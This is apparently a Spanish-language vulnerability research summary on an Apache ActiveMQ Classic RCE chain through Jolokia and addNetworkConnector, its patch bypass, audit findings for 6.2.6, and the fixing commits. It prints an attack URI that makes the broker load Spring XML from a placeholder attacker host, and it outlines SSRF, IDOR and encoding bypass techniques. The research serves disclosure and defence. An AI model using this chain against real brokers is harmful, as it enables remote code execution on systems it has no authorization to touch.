Investigación de RCE en Apache ActiveMQ Classic: cadena de bypass de CVE-2026-34197 / CVE-2026-42588 + hallazgos de auditoría de hardened-6.2.6 + comparación con Crowdfense
Archivo de investigación privado para la cadena de ejecución remota de código Apache ActiveMQ Classic Jolokia → addNetworkConnector → xbean/Spring-XML (CVE-2026-34197 y su evasión del parche CVE-2026-42588), además de una auditoría completa de auto-investigación de la versión corregida 6.2.6 y una comparación lado a lado con el informe público de evasión de Crowdfense.
Toda la explotación se realizó contra brokers de laboratorio locales (Docker / autoalojados). Los payloads utilizan hosts atacantes de marcador de posición.
Auditoría de auto-investigación de 6.2.6 endurecido: informe final + registro de hallazgos
Los árboles de código fuente y las distribuciones binarias del proveedor utilizados durante los laboratorios están excluidos a propósito (son de upstream, no nuestros).
La vulnerabilidad en una línea
Un llamador Jolokia autenticado (no autenticado en 6.0.0–6.1.1 mediante CVE-2024-32114) invoca BrokerView.addNetworkConnector(uri) con una URI de descubrimiento manipulada cuyo vm://…?brokerConfig=xbean:<url> interno obliga al broker a cargar un Spring XML controlado por el atacante, que instancia de forma ansiosa un bean ProcessBuilderantes de la validación del broker → ejecución de comandos del sistema operativo.
root@kitploit:~
POST /api/jolokia/ → BrokerView.addNetworkConnector(String)
→ static:(vm://evil?brokerConfig=xbean:http://ATTACKER/evil.xml)
→ VMTransportFactory dynamic broker creation → XBeanBrokerFactory
→ ResourceXmlApplicationContext loads Spring XML → ProcessBuilder bean → RCE
Hallazgos
Titular: tres hallazgos están probados en vivo hasta root/XSS; la auditoría de 6.2.6 añade un conjunto más amplio que está verificado contra el código fuente y evaluado de forma adversarial, pero aún no detonado en vivo. Ninguno de los extras de 6.2.6 es un RCE no autenticado nuevo — el proveedor cerró esas puertas; el riesgo residual se trasladó a la autorización y la codificación de salida.
En vivo — uid=0 en 5.18.3 / 5.18.6 / 6.1.4 / 6.1.7
CVE-2026-42588
Evasión de la lista de denegación de 34197 mediante URI compuesta sin paréntesis
RCE (evasión de parche)
Crítica
Post-autenticación
En vivo — uid=0 en 5.19.6 con parche de 34197 + 6.2.0
CVE-2026-42253
Inyección de cabecera de MessageServlet → XSS almacenado
Inyección / XSS
Media
Post-autenticación
En vivo en 6.2.0
Nuevos de la auditoría de 6.2.6 (verificados contra el código fuente)
ID
Hallazgo
Clase
Severidad
Autenticación
Notas
C1
static:falta en la lista de denegación → SSRF — static ausente de DENIED_TRANSPORT_SCHEMES; addNetworkConnector("static:(tcp://…)") → TCP saliente del broker
SSRF
Media
Admin / JMX
Variante de sink más allá de la misma lista de denegación 34197/42588 que cubre el artículo
B1
Suscripciones duraderas IDOR de borrado entre clientId — removeSubscription se basa en el clientId suministrado por la conexión y no tiene compuerta en AuthorizationBroker
Autorización rota / IDOR
Media
Post-autenticación (pre-autenticación si la autenticación del broker está desactivada)
El nuevo más limpio
B3
LDAP contraseña vacía → bind anónimo (LDAPLoginModule, sin comprobación de vacío)
Evasión de autenticación
Media (cond.)
Pre-autenticación
Condicionado a que el directorio acepte binds anónimos
A1–A7
Familia de inyección por codificación de salida en consola — MessageId.textView controlado por el atacante (OpenWire v10+ y AMQP) sin escapar en ~7 sinks JSP/REST + path-traversal de FileSystemBlobStrategy
Inyección
Baja–Media
Productor → administrador
Limitado por CSP a inyección de HTML/contenido por defecto
B2
Shiro WildcardPermissionescalada de verbos por inyección de dos puntos
Escalada de privilegios
Baja–Media
Post-autenticación
Shiro no predeterminado
B4
Autorización de destinos temporales fail-open asimétrica frente a fail-closed en no temporales
Autorización rota
Baja
Post-autenticación
Por diseño (AMQ-4721); nota de endurecimiento
B5
StatisticsBrokerreplyToomite la ACL de escritura cuando el plugin se ordena antes de la autorización
Fuera de alcance — DoS (catalogados, no titulares)
AIOOBE del ordinal QoS de MQTT (QoS.values()[ordinal], entre protocolos, sin configuración) · OpenWireFormat.DEFAULT_MAX_FRAME_SIZE = Long.MAX_VALUE · NegativeArraySizeException de short con signo en unmarshal de OpenWire · AMQ_SCHEDULED_REPEAT negativo que crea trabajos inmortales.
Comparación con el informe de Crowdfense
El Apache ActiveMQ RCE Bypass de Crowdfense cubre la misma cadena (ellos la registran bajo CVE-2026-34197; nosotros seguimos la evasión como su propio CVE-2026-42588). Ambas versiones convergen en una defensa de tres capas; la única divergencia es la Capa 2.
Capa
Defensa
Cómo la vence Crowdfense
Cómo la vencimos nosotros
1
Lista de denegación de esquemas (fix de 34197)
Compuesta sin paréntesis static:vm://…
La misma — encontrada de forma independiente ✅
2
Lista blanca {file,classpath} de xbean (#1910)
file:%2f%2f… con codificación porcentual → Windows UNC → WebDAV → recuperación HTTP remota
Compuerta de esquema de VMTransportFactory (broker,properties, el fix de 42588 / 6.2.6)
Reconocida como la definitiva
Misma conclusión ✅
La única brecha: su truco de codificación porcentual en la Capa 2 + UNC/WebDAV logra una entrega totalmente remota sin primitiva de escritura local. El fallo del clasificador que explota (activemq-spring/Utils.java:123-129, un startsWith("file://") crudo sobre la cadena sin decodificar) está presente en nuestro código fuente exacto — pero la mitad remota es solo Windows (Linux trata //host/share como una ruta local), y nuestro laboratorio era Linux, así que no se pudo ejercitar allí. De todos modos, está muerto en 6.2.6 (la compuerta de esquema de VMTransportFactory rechaza xbean antes de que se ejecute Utils).
Seguimiento: un 5.19.6 alojado en Windows (o cualquier build anterior a 5.19.7/6.2.6) + un listener SMB/WebDAV nos permitiría demostrar la evasión de la lista blanca totalmente remota — la única capacidad que tiene el artículo y que nuestro ejercicio aún no ha mostrado.
Corrección (ActiveMQ 6.2.6)
Tres commits cierran la cadena: c1b44af11 (validar URIs compuestas sin paréntesis — parseComposite incondicionalmente + recursión), c2fc7a1d6 (bloquear XBeanBrokerFactory por defecto mediante la lista blanca de esquemas de VMTransportFactory) y be8415f24 (endurecimiento de la configuración de ejemplo: Jolokia a loopback, lista de denegación de operaciones con addNetworkConnector).